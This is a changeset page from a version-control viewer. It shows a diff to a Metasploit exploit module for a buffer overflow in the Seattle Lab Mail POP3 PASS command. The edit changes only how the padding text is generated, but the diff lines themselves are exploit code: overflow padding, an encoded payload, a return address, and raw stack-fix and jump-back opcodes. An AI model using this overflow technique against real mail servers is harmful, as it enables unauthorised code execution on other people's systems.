Changeset 4893
- Timestamp:
- 05/09/07 07:47:54 (1 year ago)
- Files:
Legend:
- Unmodified
- Added
- Removed
- Modified
- Copied
- Moved
framework3/tags/framework-3.0/modules/exploits/windows/pop3/seattlelab_pass.rb
r4571 r4893 97 97 end 98 98 99 sock.put("USER #{rand_ english_text(10)}\r\n")99 sock.put("USER #{rand_text_alphanumeric(10)}\r\n") 100 100 res = sock.get_once 101 101 if banner !~ /^\+OK (.*) welcome here$/ … … 104 104 end 105 105 106 request = "PASS " + rand_ english_text(target['Offset'] - payload.encoded.length)106 request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length) 107 107 request << payload.encoded 108 108 request << [target.ret].pack('V') 109 109 request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack 110 110 request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes 111 request << rand_ english_text(512) # cruft111 request << rand_text_alphanumeric(512) # cruft 112 112 request << "\r\n" 113 113
